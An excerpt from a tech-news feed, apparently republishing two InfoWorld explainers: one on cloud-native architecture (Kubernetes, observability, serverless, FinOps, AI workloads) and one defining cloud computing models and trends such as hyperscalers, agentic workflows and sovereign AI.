<p class="wp-block-paragraph">Getting the containers to run properly and communicate with one another is where the complexity of cloud native computing starts to emerge. Initially, containers were created and managed by relatively simple platforms, the most common of which was <a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Docker</a>. But as cloud-native applications got more complex, container orchestration platforms<em> </em>that augmented Docker’s functionality emerged, such as Kubernetes, which allows you to deploy and manage multi-container applications at scale. Kubernetes is critical to cloud native computing as we know it — it’s worth noting that the CNCF was set up as a <a href="https://www.zdnet.com/article/cloud-native-computing-foundation-seeks-to-bring-more-cloud-and-container-unity/">spinoff of the Linux Foundation on the same day that Kubernetes 1.0 was announced</a> — and adhering to <a href="https://www.infoworld.com/article/2338688/6-best-practices-to-keep-kubernetes-costs-under-control.html">Kubernetes best practices</a> is an important key to cloud native success. </p>



<p class="wp-block-paragraph"><strong>Open standards and APIs. </strong>The fact that containers and cloud platforms are largely defined by open standards and <a href="https://www.infoworld.com/article/3800992/open-source-trends-for-2025-and-beyond.html">open source technologies</a> is the secret sauce that makes all this modularity and orchestration possible, and <a href="https://www.infoworld.com/article/3529600/how-do-you-govern-a-sprawling-disparate-api-portfolio.html">standardized and documented APIs </a>offer the means of communication between distributed components of a larger application. In theory, anyway, this standardization means that every component should be able to communicate with other components of an application without knowing about their inner workings, or about the inner workings of the various platform layers on which everything operates.</p>



<p class="wp-block-paragraph"><strong>DevOps, agile methodologies, and infrastructure as code. </strong>Because cloud-native applications exist as a series of small, discrete units of functionality, cloud-native teams can build and update them using agile philosophies like <a href="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html">DevOps</a>, which promotes <a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">rapid, iterative CI/CD development</a>. This enables teams to deliver business value more quickly and more reliably.</p>



<p class="wp-block-paragraph">The virtualized nature of cloud environments also make them great candidates for <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure as code</a> (IaC), a practice in which teams use tools like <a href="https://developer.hashicorp.com/terraform/intro">Terraform</a>, <a href="https://www.pulumi.com/">Pulumi</a>, and <a href="https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/Welcome.html">AWS CloudFormation</a>, to manage infrastructure declaratively and version those declarations just like application code. IaC boosts automation, repeatability, and resilience across environments—all big advantages in the cloud world. IaC also goes hand-in-hand with the concept of <em>immutable infrastructure</em>—the idea that, once deployed, infastructure-level entities like virtual machines, containers, or network appliances don’t change, which makes them easier to manage and secure. IaC stores declarative configuration code in version control, which creates an audit log of any changes.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/04/5_things_cloud_native.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart listing five things to love and five things to fear when considiering cloud native" class="wp-image-3970036" width="1024" height="472" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>There’s a lot to love about cloud-native architectures, but there are also several things to be wary of when considering it.</p>
</figcaption></figure><p class="imageCredit">Foundry</p></div>



<h2 class="wp-block-heading"><strong>How the cloud-native stack is expanding</strong></h2>



<p class="wp-block-paragraph">As cloud-native development becomes the norm, the cloud-native ecosystem is expanding; the CNCF maintains a graphical representation of what it calls the  <a href="https://landscape.cncf.io/">cloud native landscape</a> that hammers home to expansive and bewildering variety of products, services, and open source projects that contribute to (and seek to profit from) to cloud-native computing. And there are a number of areas where new and developing tools are complicating the picture sketched out by the pillars we discussed above.   </p>



<p class="wp-block-paragraph"><strong>An expanding Kubernetes ecosystem.</strong> <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes </a>is complex, and teams now rely on an <a href="https://www.infoworld.com/article/2265338/13-tools-that-make-kubernetes-better.html">entire ecosystem of projects </a>to get the most out of it: <a href="https://www.infoworld.com/article/2264445/helm-3-package-manager-arrives-for-kubernetes.html">Helm</a> for packaging, <a href="https://argo-cd.readthedocs.io/en/stable/">ArgoCD </a>for GitOps-style deployments, and <a href="https://kustomize.io/">Kustomize </a>for configuration management. And just as Kubernetes augmented Docker for enterprise-scale deployments. Kubernetes itself has been augmented and expanded by <a href="https://www.infoworld.com/article/2261159/what-is-a-service-mesh-easier-container-networking.html">service mesh</a> offerings like <a href="https://istio.io/">Istio </a>and <a href="https://linkerd.io/">Linkerd</a><strong>, </strong>which offer fine-grained traffic control and improved security</p>



<p class="wp-block-paragraph"><strong>Observability needs. </strong>The complex and distributed world of cloud-native computing requires in-depth <a href="https://www.infoworld.com/article/2262666/what-is-observability-software-monitoring-on-steroids.html">observability</a> to ensure that developers and admins have a handle on what’s happening with their applications. <a href="https://www.infoworld.com/article/2337343/what-observability-means-for-cloud-operations.html">Cloud-native observability</a> uses distributed tracing and aggregated logs to provide deep insight into performance and reliability. Tools like <a href="https://www.infoworld.com/article/2246709/prometheus-unbound-open-source-cloud-monitoring.html">Prometheus</a>, <a href="https://www.infoworld.com/article/2337267/grafana-shining-a-light-into-kubernetes-clusters.html">Grafana</a>, <a href="https://www.cncf.io/projects/jaeger/">Jaeger</a>, and <a href="https://opentelemetry.io/">OpenTelemetry</a> support comprehensive, real-time observability across the stack.</p>



<p class="wp-block-paragraph"><strong>Serverless computing.  </strong><a href="https://www.infoworld.com/article/2261831/what-is-serverless-serverless-computing-explained.html">Serverless computing</a>, particularly in its function-as-a-service guise, offers to strip needed compute resources down to their bare minimum, with functions running on service provider clouds using exactly as much as they need and no more. Because these services can be exposed as endpoints via APIs, they are increasingly integrated into distributed applications, operating side-by-side with functionality provided by containerized microservices. Watch out, though: the big FaaS providers (<a href="https://www.infoworld.com/article/2265860/aws-lambda-tutorial-get-started-with-serverless-computing.html">Amazon</a>, <a href="https://www.infoworld.com/article/2255377/how-to-work-with-azure-functions-in-csharp.html">Microsoft</a>, and <a href="https://www.infoworld.com/article/2243861/google-takes-aims-at-aws-lambda-with-cloud-functions.html">Google</a>) would love to lock you in to their ecosystems.  </p>



<p class="wp-block-paragraph"><strong>FinOps. </strong><a href="http://infoworld.com/article/2238873/what-is-cloud-computing.html">Cloud computing</a> was initially billed as a way to cut costs — no need to pay for an in-house data center that you barely use — but in practice it replaces capex with opex, and sometimes you can run up truly shocking cloud service bills if you aren’t careful. Serverless computing is one way to cut down on those costs, but financial operations, or <a href="https://www.cio.com/article/416337/what-is-finops-your-guide-to-cloud-cost-management.html">FinOps</a>, is a more systematic discipline that aims to aligns engineering, finance, and product to optimize cloud spending. <a href="https://www.infoworld.com/article/2338592/6-finops-best-practices-to-reduce-cloud-costs.html">FinOps best practices</a> make use of those observability tools to best determine what departments and applications are eating up resources.</p>



<h2 class="wp-block-heading"><strong>How cloud-native architecture is adapting to AI workloads</strong></h2>



<p class="wp-block-paragraph">Enterprises deploy larger AI models and make use of more and more real-time inference services. That’s putting demands on cloud-native systems and forcing them to adapt to remain scalable and reliable.</p>



<p class="wp-block-paragraph">For instance, organizations are <a href="https://www.infoworld.com/article/4057189/the-rise-of-ai-ready-private-clouds.html">re-engineering cloud environments</a> around GPU-accelerated clusters, low-latency networking, and predictable orchestration. These needs align with established cloud-native patterns: containers package AI services consistently, while Kubernetes provides resilient scheduling and horizontal scale for inference workloads that can spike without warning.</p>



<p class="wp-block-paragraph">Kubernetes itself is <a href="https://www.infoworld.com/article/4045563/evolving-kubernetes-for-generative-ai-inference.html">changing to better support AI inference</a>, adding hardware-aware scheduling for GPUs, model-specific autoscaling behavior, and deeper observability into inference pipelines. These enhancements make Kubernetes a more natural platform for serving generative AI workloads.</p>



<p class="wp-block-paragraph">AI’s resource demands are amplifying traditional cloud-native challenges. Observability becomes more complex as inference paths span GPUs, CPUs, vector databases, and distributed storage. <a href="https://www.cio.com/article/416337/what-is-finops-your-guide-to-cloud-cost-management.html">FinOps</a> teams contend with cost volatility from training and inference bursts. And security teams must track new risks around model provenance, data access, and supply-chain integrity.</p>



<h2 class="wp-block-heading"><strong>Application frameworks for building distributed cloud-native apps</strong></h2>



<p class="wp-block-paragraph">Microsoft’s Aspire is one of the most visible examples of a shift towards application frameworks to simplify how teams build distributed systems. Opinionated frameworks like Aspire provide structure, observability, and integration out of the box so developer don’t need to stitch together containers, microservices, and orchestration tooling by hand.</p>



<p class="wp-block-paragraph">Aspire in particular is a <a href="https://www.infoworld.com/article/4023638/taking-net-aspire-for-a-spin.html">prescriptive framework for cloud-native applications</a>, bundling containerized services, environment configuration, health checks, and observability into a unified development model. Aspire provides defaults for service-to-service communication, configuration, and deployment, along with a built-in dashboard for visibility across distributed components.</p>



<p class="wp-block-paragraph">While Aspire was originally aligned with Microsoft’s .<a href="https://www.infoworld.com/article/2264488/what-is-the-net-framework-microsofts-answer-to-java.html">NET platform</a>,Redmond now sees it as having a<strong>  </strong><a href="https://www.infoworld.com/article/4085051/aspires-polyglot-future.html?utm_source=chatgpt.com">polyglot future</a>. This positions Aspire as part of a broader trend: frameworks that help teams build cloud-native, service-oriented systems without being locked into a single language ecosystem. Several other frameworks are gaining traction: Dapr provides a portable runtime that abstracts many of the plumbing tasks in cloud-native distributed applications, and Orleans offers an actor-model-based framework for large-scale systems in the .NET world, and Akka gives JVM teams a mature, reactive toolkit for elastic, resilient services.</p>



<h2 class="wp-block-heading"><strong>Frameworks and tools in the expanding cloud-native ecosystem</strong></h2>



<p class="wp-block-paragraph">While frameworks like Aspire simplify how developers compose and structure distributed applications, most cloud-native systems still depend on a broader ecosystem of platforms and operational tooling. This deeper layer is where much of the complexity—and innovation—of cloud-native computing lives, particularly as Kubernetes continues to serve as the industry’s control plane for modern infrastructure.</p>



<p class="wp-block-paragraph">Kubernetes provides the core abstractions for deploying and orchestrating containerized workloads at scale. Managed distributions such as Google Kubernetes Engine (GKE), Amazon EKS, <a href="https://www.infoworld.com/article/4058764/smoother-kubernetes-sailing-with-aks-automatic.html">Azure AKS</a>, and Red Hat OpenShift build on these primitives with security, lifecycle automation, and enterprise support. Platform vendors are increasingly automating cluster operations—upgrades, scaling, remediation—to reduce the operational burden on engineering teams.</p>



<p class="wp-block-paragraph">Surrounding Kubernetes is a rapidly expanding ecosystem of complementary frameworks and tools. <a href="https://www.infoworld.com/article/2261159/what-is-a-service-mesh-easier-container-networking.html">Service meshes</a> like Istio and Linkerd provide fine-grained traffic management, policy enforcement, and mTLS-based security across microservices. <a href="https://www.infoworld.com/article/2259088/what-is-gitops-extending-devops-to-kubernetes-and-beyond.html">GitOps</a> platforms such as Argo CD and Flux bring declarative, version-controlled deployments to cloud-native environments. Meanwhile, projects like Crossplane turn Kubernetes into a universal control plane for cloud infrastructure, letting teams provision databases, queues, and storage through familiar Kubernetes APIs. These tools illustrate how cloud-native development now spans multiple layers: developer-focused application frameworks like Aspire at the top, and a powerful, evolving Kubernetes ecosystem underneath that keeps modern distributed applications running.</p>



<h2 class="wp-block-heading"><strong>Advantages and challenges for cloud-native development</strong></h2>



<p class="wp-block-paragraph">Cloud native has become so ubiquitous that its advantages are almost taken for granted at this point, but it’s worth reflecting on the beneficial shift the cloud native paradigm represents. Huge, monolithic codebases that saw updates rolled out once every couple of years have been replaced by microservice-based applications that can be improved continuously. Cloud-based deployments, when managed correctly, make better use of compute resources and allow companies to offer their products as SaaS or PaaS services. </p>



<p class="wp-block-paragraph">But <a href="https://www.infoworld.com/article/2337882/the-downsides-of-cloud-native-solutions.html">cloud-native deployments come with a number of challenges</a>, too:</p>



<ul class="wp-block-list">
<li><strong>Complexity and operational overhead: </strong>You’ll have noticed by now that many of the cloud-native tools we’ve discussed, like service meshes and observability tools, are needed to deal with the complexity of cloud-native applications and environments. Individual microservices are deceptively simple, but coordinating them all in a distributed environment is a big lift.</li>



<li><strong>Security: </strong>More services executing on more machines, communicating by open APIs, all adds up to a bigger attack surface for hackers. <a href="https://www.csoonline.com/article/572501/managing-container-vulnerability-risks-tools-and-best-practices.html">Containers</a> and <a href="https://www.csoonline.com/article/3618243/securing-cloud-native-applications-why-a-comprehensive-api-security-strategy-is-essential.html">APIs</a> each have their own special security needs, and a <a href="https://www.infoworld.com/article/2259477/open-policy-agent-a-general-purpose-policy-engine-for-cloud-native.html">policy engine</a> can be an important tool for imposing a security baseline on a sprawling cloud-native app. <a href="https://www.csoonline.com/article/564095/what-is-devsecops-developing-more-secure-applications.html">DevSecOps</a>, which adds security to DevOps, has become an important cloud-native development practice to try to close these gaps.</li>



<li><strong>Vendor lock-in: </strong>This may come as a surprise, since cloud-native is based on open standards and open source. But there are differences in how the big cloud and serverless providers works, and once you’ve written code with one provider in mind, <a href="https://www.infoworld.com/article/2337012/get-used-to-cloud-vendor-lock-in.html">it can be hard to migrate elsewhere</a>.</li>



<li><strong>A persistent skills gap: </strong>Cloud-native computing and development may have years under its belt at this point, but the number of developers who are truly skilled in this arena is a smaller portion of the workforce than you’d think. Companies <a href="https://www.infoworld.com/article/3484912/a-strategic-road-map-for-navigating-the-cloud-skills-shortage.html">face difficult choices in bridging this skills gap</a>, whether that’s bidding up salaries, working to upskill current workers, or allowing remote work so they can cast a wide net. </li>
</ul>



<h2 class="wp-block-heading">Cloud native in the real world</h2>



<p class="wp-block-paragraph">Cloud native computing is often associated with giants like Netflix, Spotify, Uber, and AirBNB, where many of its technologies were pioneered in the early ’10s. But the CNCF’s <a href="https://www.cncf.io/case-studies/">Case Studies page</a> provides an in-depth look at how cloud native technologies are helping companies. Examples include the following:</p>



<ul class="wp-block-list">
<li>A UK-based payment technology company that can <a href="https://www.cncf.io/case-studies/form3/">switch between data centers and clouds</a> with zero downtime</li>



<li>A software company whose product collects and analyzes data from IoT devices — and can <a href="https://www.cncf.io/case-studies/tempestive/">scale up</a> as the number of gadgets grows</li>



<li>A Czech web service company that managed to <a href="https://www.cncf.io/case-studies/seznam/">improve performance while reducing costs</a> by migrating to the cloud</li>
</ul>



<p class="wp-block-paragraph">Cloud-native infrastructure’s capability to quickly scale up to large workloads also make it an attractive platform for developing AI/ML applications: another one of those CNCF case studies looks at how IBM uses Kubernetes to <a href="https://www.cncf.io/case-studies/ibmwatsonxassistant/">train its Watsonx assistant</a>. The big three providers are putting a lot of effort into pitching their platforms as the place for you to develop your own generative AI tools, with offerings like <a href="https://www.infoworld.com/article/3608598/microsoft-rebrands-azure-ai-studio-to-azure-ai-foundry.html">Azure AI Foundry,</a><a href="https://www.infoworld.com/article/3959648/google-unveils-firebase-studio-for-ai-app-development.html">Google Firebase Studio</a>, and <a href="https://www.infoworld.com/article/2336139/amazon-bedrock-a-solid-generative-ai-foundation.html">Amazon Bedrock</a>. It seems clear that cloud native technology is ready for what comes next.</p>



<h2 class="wp-block-heading">Learn more about related cloud-native technologies:</h2>



<ul class="wp-block-list">
<li><a href="https://www.infoworld.com/article/2256066/what-is-paas-platform-as-a-service-a-simpler-way-to-build-software-applications.html">Platform-as-a-service (PaaS) explained</a></li>



<li><a href="https://www.infoworld.com/article/2238873/what-is-cloud-computing.html">What is cloud computing</a></li>



<li><a href="https://www.infoworld.com/article/2256706/what-is-multicloud-the-next-step-in-cloud-computing.html">Multicloud explained</a></li>



<li><a href="https://www.infoworld.com/article/2259475/what-is-agile-methodology-modern-software-development-explained.html">Agile methodology explained</a></li>



<li><a href="https://www.infoworld.com/article/2259487/how-to-excel-in-agile-software-development.html">Agile development best practices</a></li>



<li><a href="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html">Devops explained</a></li>



<li><a href="https://www.infoworld.com/article/2266905/devops-best-practices-the-5-methods-you-should-adopt.html">Devops best practices</a></li>



<li><a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">Microservices explained</a></li>



<li><a href="https://www.infoworld.com/article/2253197/tutorial-how-to-build-microservices-apps.html">Microservices tutorial</a></li>



<li><a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Docker and Linux containers explained</a></li>



<li><a href="https://www.infoworld.com/article/2254159/how-to-get-started-with-kubernetes-2.html">Kubernetes tutorial</a></li>



<li><a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">CI/CD (continuous integration and continuous delivery) explained</a></li>



<li><a href="https://www.infoworld.com/article/2268012/get-started-with-cicd-automating-application-delivery-with-cicd-pipelines.html">CI/CD best practices</a></li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What is cloud computing? From infrastructure to autonomous, agentic-driven ecosystems]]></title>
<description><![CDATA[Cloud computing continues to be the platform of choice for large applications and a driver of innovation in enterprise technology. Gartner forecasts public cloud spending alone to  the public cloud services market alone will reach $1.42 trillion in current U.S. dollars, driven by AI workloads and...]]></description>
<link>https://tsecurity.de/de/3665669/ai-nachrichten/what-is-cloud-computing-from-infrastructure-to-autonomous-agentic-driven-ecosystems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665669/ai-nachrichten/what-is-cloud-computing-from-infrastructure-to-autonomous-agentic-driven-ecosystems/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:32 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h3 class="wp-block-heading"></h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2337750/when-will-cloud-computing-stop-growing.html">Cloud computing</a> continues to be the <a href="https://www.cio.com/article/482179/volkswagen-drives-the-automotive-industry-cloud-forward.html">platform of choice for large applications</a> and a <a href="https://www.infoworld.com/article/2336917/cloud-computing-is-reinventing-cars-and-trucks.html">driver of innovation</a> in enterprise technology. <a href="https://www.gartner.com/en/newsroom/press-releases/2024-05-20-gartner-forecasts-worldwide-public-cloud-end-user-spending-to-surpass-675-billion-in-2024#:~:text=Worldwide%20end-user%20spending%20on,(GenAI)%20and%20application%20modernization.">Gartner </a>forecasts public cloud spending alone to  the<a href="https://www.gartner.com/en/documents/6302015#:~:text=Summary,AI%20workloads%20and%20enterprise%20modernization."> public cloud services market alone </a>will reach $1.42 trillion in current U.S. dollars, driven by AI workloads and enterprise modernization.</p>



<p class="wp-block-paragraph">Driving this growth are the rise of <a href="https://www.infoworld.com/article/2262333/youre-doing-cloud-based-ai-and-machine-learning-wrong.html">AI and machine learning on the cloud</a>, <a href="https://www.infoworld.com/article/2335144/what-happened-to-edge-computing.html">adoption of edge computing</a>, the maturation of <a href="https://www.infoworld.com/article/3406501/what-is-serverless-serverless-computing-explained.html">serverless computing</a>, the emergence of <a href="https://www.infoworld.com/article/3584433/are-you-ready-for-multicloud-a-checklist.html">multicloud strategies</a>, improved security and privacy, and more sustainable cloud practices.</p>



<h2 class="wp-block-heading">What is cloud computing?</h2>



<p class="wp-block-paragraph">While often used broadly, the term cloud computing is defined as an abstraction of compute, storage, and network infrastructure assembled as a platform on which applications and systems are deployed quickly and scaled on the fly.</p>



<p class="wp-block-paragraph">Most cloud customers consume <a href="https://www.cio.com/article/2097657/6-cloud-market-forces-impacting-it-strategies-today.html">public cloud </a>computing services over the internet, which are hosted in large, remote data centers maintained by cloud providers. The most common type of cloud computing, SaaS (software as service), delivers prebuilt applications to the browsers of customers who pay per seat or by usage, exemplified by such popular apps as Salesforce, Google Docs, or Microsoft Teams.</p>



<h3><strong> 5 top trends in cloud computing</strong></h3>

<ol>
<li><strong>Agentic cloud ecosystems: </strong> The shift from AI as a tool to AI as an autonomous operator within cloud environments.</li>
<li><strong>Sovereign and localized clouds: </strong> Meeting strict national data residency and digital sovereignty laws.</li>
<li><strong>Specialized AI hardware access: </strong> Navigating the GPU capacity crunch through reserved instances and boutique AI clouds.</li>
<li><strong>Integrated greenOps: </strong>Merging cost optimization with mandatory carbon-footprint reporting.</li>
<li><strong>Industry-specific walled gardens: </strong> The maturation of vertical clouds into highly regulated, precompliant environments for finance and healthcare.</li>
</ol>






<p class="wp-block-paragraph">Next in line is IaaS (infrastructure as a service), which offers vast, virtualized compute, storage, and network infrastructure upon which customers build their own applications, often with the aid of providers’ <a href="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html">API</a>-accessible services.</p>



<p class="wp-block-paragraph">When people refer to the “the cloud” today, they most often mean the big IaaS providers: AWS (Amazon Web Services), Google Cloud Platform, or Microsoft Azure. All three have become ecosystems of services that go way beyond infrastructure and include developer tools, serverless computing, machine learning services and APIs, data warehouses, and thousands of other services. With both SaaS and IaaS, a key benefit is agility. Customers gain new capabilities almost instantly without the capital investment in hardware or software on-premises — and they can instantly scale the cloud resources they consume up or down as needed.</p>



<p class="wp-block-paragraph">According to <a href="https://foundryco.com/research/cloud-computing/">Foundry’s Cloud Computing Study, 2025</a>, enterprises are moving to the cloud to improve security and/or governance, increase scalability​, accelerate adoption of artificial intelligence and machine learning and other new technologies, replace on-premises legacy technology, ​improve employee productivity, and ensure disaster recovery and business continuity.</p>



<h2 class="wp-block-heading">Hyperscalers now dominate cloud services</h2>



<p class="wp-block-paragraph">The largest cloud service providers are often described as hyperscalers, due to their capability to provide large-scale data centers across the globe. Hyperscalers typically offer a wide range of cloud services, including IaaS, PaaS, SaaS, and more.</p>



<p class="wp-block-paragraph">As mentioned above, notable hyperscalers include Amazon Web Services (AWS), Google Cloud Platform, and Microsoft Azure. They offer the following capabilities.</p>



<ul class="wp-block-list">
<li><strong>Scalability</strong>: Hyperscalers can handle massive workloads and scale resources up or down quickly.</li>



<li><strong>Cost-effectiveness</strong>: Hyperscalers often offer competitive pricing and economies of scale.</li>



<li><strong>Global reach</strong>: Hyperscalers operate data centers around the world, providing low-latency access to customers in different regions.</li>



<li><strong>Innovation</strong>: Hyperscalers are at the forefront of cloud innovation, offering new services and features.</li>
</ul>



<h3 class="wp-block-heading">Challenges of working with hyperscalers</h3>



<ul class="wp-block-list">
<li><strong>Vendor lock-in</strong>: Relying heavily on a single hyperscaler can create <a href="https://www.cio.com/article/648048/hyperscalers-in-crosshairs-for-anti-competitive-pricing-and-lock-in.html">vendor lock-in</a>, making it difficult to switch to another provider and charging large egress fees if you do move.</li>



<li><strong>Complexity</strong>: Hyperscalers offer a vast array of services, which can be overwhelming for some customers.</li>



<li><strong>Security concerns</strong>: Because hyperscalers handle sensitive data, security is a major concern.</li>
</ul>



<h2 class="wp-block-heading"><strong>AI, Agents, and the Sovereign Cloud</strong></h2>



<p class="wp-block-paragraph">The AI-enabled enterprise has moved beyond simple chatbots. The focus has shifted to <strong>agentic workflows </strong>— autonomous systems that reside in the cloud and possess the authority to execute business processes, manage cloud spend, and self-patch security vulnerabilities without human intervention.</p>



<h3 class="wp-block-heading"><strong>The shift to agentic infrastructure</strong></h3>



<p class="wp-block-paragraph">Cloud providers are no longer just selling compute. They are selling <strong>inference-as-a-service</strong>. Modern cloud budgets are now dominated by the high cost of specialized GPU clusters (such as Nvidia’s Blackwell architecture). This has led to the rise of boutique AI clouds that compete with hyperscalers by offering bare-metal access to the latest silicon specifically for model training and fine-tuning.</p>



<h3 class="wp-block-heading"><strong>Data sovereignty and private AI</strong></h3>



<p class="wp-block-paragraph">A major shift in late 2025 is the move away from public AI models for sensitive data. Organizations are increasingly using retrieval-augmented generation (RAG) within walled garden environments. This ensures that a company’s proprietary data never leaves their specific cloud instance to train a provider’s base model.</p>



<p class="wp-block-paragraph">Furthermore, sovereign AI has become a requirement for global operations. Governments now demand that the AI models processing their citizens’ data be hosted on infrastructure that is owned, operated, and governed within their own borders.</p>



<h3 class="wp-block-heading"><strong>The challenges of ghost AI</strong></h3>



<p class="wp-block-paragraph">Just as shadow IT plagued the 2010s, ghost AI—unauthorized AI agents running on corporate cloud accounts — has become a primary security risk. Managing these autonomous entities requires a new layer of <strong>AI governance</strong>, where the cloud provider automatically audits the intent and permissions of every running agent to prevent runaway costs or data leaks.</p>



<h2 class="wp-block-heading">Cloud computing definitions</h2>



<p class="wp-block-paragraph">In 2011, <a href="https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-145.pdf">NIST posted a PDF</a> that divided cloud computing into three “service models” — SaaS, IaaS, and PaaS (platform as a service) — the latter being a controlled environment within which customers develop and run applications. These three categories have largely stood the test of time, although most PaaS solutions now are made available as services within IaaS ecosystems rather than as dedicated PaaS clouds.</p>



<p class="wp-block-paragraph">Two evolutionary trends stand out since NIST’s threefold definition. One is the long and growing list of subcategories within SaaS, IaaS, and PaaS, some of which blur the lines between categories. The other is the explosion of API-accessible services available in the cloud, particularly within IaaS ecosystems. The cloud has become a crucible of innovation where many emerging technologies appear first as services, a big attraction for business customers who understand the potential competitive advantages of early adoption.</p>



<h3 class="wp-block-heading"><strong>SaaS (software as a service) definition</strong></h3>



<p class="wp-block-paragraph">This type of cloud computing delivers applications over the internet, typically with a browser-based user interface. Today, most software companies offer their wares via <a href="https://www.infoworld.com/article/2256637/what-is-saas-software-as-a-service-defined.html">SaaS </a>— if not exclusively, then at least as an option.</p>



<p class="wp-block-paragraph">The most popular SaaS applications for business are <a href="https://www.computerworld.com/article/3570821/google-workspace-explained-googles-answer-to-microsoft-365.html">Google’s G Suite</a> and <a href="https://www.computerworld.com/article/1710782/office-2021-vs-microsoft-365-office-365-how-to-choose.html">Microsoft’s Office 365</a>. Most enterprise applications, including giant <a href="https://www.cio.com/article/272362/what-is-erp-key-features-of-top-enterprise-resource-planning-systems.html">ERP</a> suites from Oracle and SAP, come in both SaaS and on-premises versions. SaaS applications typically offer extensive configuration options as well as development environments that enable customers to code their own modifications and additions. They also enable data integration with on-prem applications.</p>



<h3 class="wp-block-heading"><strong>IaaS (infrastructure as a service) definition</strong></h3>



<p class="wp-block-paragraph">At a basic level, <a href="https://www.infoworld.com/article/2255598/what-is-iaas-your-data-center-in-the-cloud.html">IaaS </a>cloud providers offer virtualized compute, storage, and networking over the internet on a pay-per-use basis. Think of it as a data center maintained by someone else, remotely, but with a software layer that virtualizes all those resources and automates customers’ ability to allocate them with little trouble.</p>



<p class="wp-block-paragraph">But that’s just the basics. The full array of services offered by the major public IaaS providers is staggering: <a href="https://www.infoworld.com/article/2269279/the-era-of-the-cloud-database-has-finally-begun.html">highly scalable databases</a>, virtual private networks, <a href="https://www.infoworld.com/article/2255434/what-is-big-data-analytics-fast-answers-from-diverse-data-sets.html">big data analytics</a>, <a href="https://www.infoworld.com/article/2259367/buyers-guide-how-to-choose-a-cloud-machine-learning-platform.html">AI and machine learning services</a>, application platforms, developer tools, <a href="https://www.infoworld.com/article/3215275/what-is-devops-transforming-software-development.html">devops</a> tools, and so on. Amazon Web Services was the first IaaS provider and remains the leader, followed by <a href="https://www.infoworld.com/article/2269424/azure-cloud-services-guide-the-right-tools-for-the-job.html">Microsoft Azure</a>, <a href="https://www.infoworld.com/article/2263677/google-cloud-platform-services-guide-the-right-tools-for-the-job.html">Google Cloud Platform</a>, <a href="https://www.infoworld.com/article/2256709/ibm-cloud-services-guide-the-right-tools-for-the-job.html">IBM Cloud</a>, and <a href="https://www.infoworld.com/article/3529339/oracle-cloudworld-2024-10-key-takeaways-from-the-big-annual-event.html">Oracle Cloud</a>.</p>



<h3 class="wp-block-heading"><strong>PaaS (platform as a service) definition</strong></h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2256066/what-is-paas-platform-as-a-service-a-simpler-way-to-build-software-applications.html">PaaS</a> provides sets of services and workflows that specifically target developers, who can use shared tools, processes, and APIs to accelerate the development, testing, and deployment of applications. Salesforce’s <a href="https://www.infoworld.com/article/2257217/5-foolish-reasons-youre-not-using-heroku.html">Heroku</a> and Salesforce Platform (formerly Force.com) are popular public cloud PaaS offerings; <a href="https://www.infoworld.com/article/2258957/cloud-foundry-stages-a-comeback.html">Cloud Foundry</a> and Red Hat’s <a href="https://www.infoworld.com/article/2261552/red-hat-openshift-adds-containers-and-microservices-features-for-developers.html">OpenShift</a> can be deployed on premises or accessed through the major public clouds. For enterprises, PaaS can ensure that developers have ready access to resources, follow certain processes, and use only a specific array of services, while operators maintain the underlying infrastructure.</p>



<h3 class="wp-block-heading"><strong>FaaS (function as a service) definition</strong></h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2256402/paas-caas-or-faas-how-to-choose.html">FaaS</a>, the original and most basic version of <a href="https://www.infoworld.com/article/2266283/serverless-in-the-cloud-aws-vs-google-cloud-vs-microsoft-azure.html">serverless computing</a>, adds another layer of abstraction to PaaS, so that developers are insulated from everything in the stack below their code. Instead of futzing with virtual servers, containers, and application runtimes, developers upload narrowly functional blocks of code, and set them to be triggered by a certain event (such as a form submission or uploaded file). All of the major clouds offer FaaS on top of IaaS: <a href="https://www.infoworld.com/article/2265897/aws-lambda-tutorial-get-started-with-serverless-computing-2.html">AWS Lambda</a>, <a href="https://www.infoworld.com/article/2255377/how-to-work-with-azure-functions-in-csharp.html">Azure Functions</a>, <a href="https://www.infoworld.com/article/2243861/google-takes-aims-at-aws-lambda-with-cloud-functions.html">Google Cloud Functions</a>, and IBM Cloud Functions. A special benefit of FaaS applications is that they consume no IaaS resources until an event occurs, reducing pay-per-use fees.</p>



<h3 class="wp-block-heading"><strong>Private cloud definition</strong></h3>



<p class="wp-block-paragraph">A <a href="https://www.infoworld.com/article/2179737/build-your-own-private-cloud-2.html">private cloud</a> downsizes the technologies used to run IaaS public clouds into software that can be deployed and operated in a customer’s data center. As with a public cloud, internal customers can provision their own virtual resources to build, test, and run applications, with metering to charge back departments for resource consumption. For administrators, the private cloud amounts to the ultimate in data center automation, minimizing manual provisioning and management.</p>



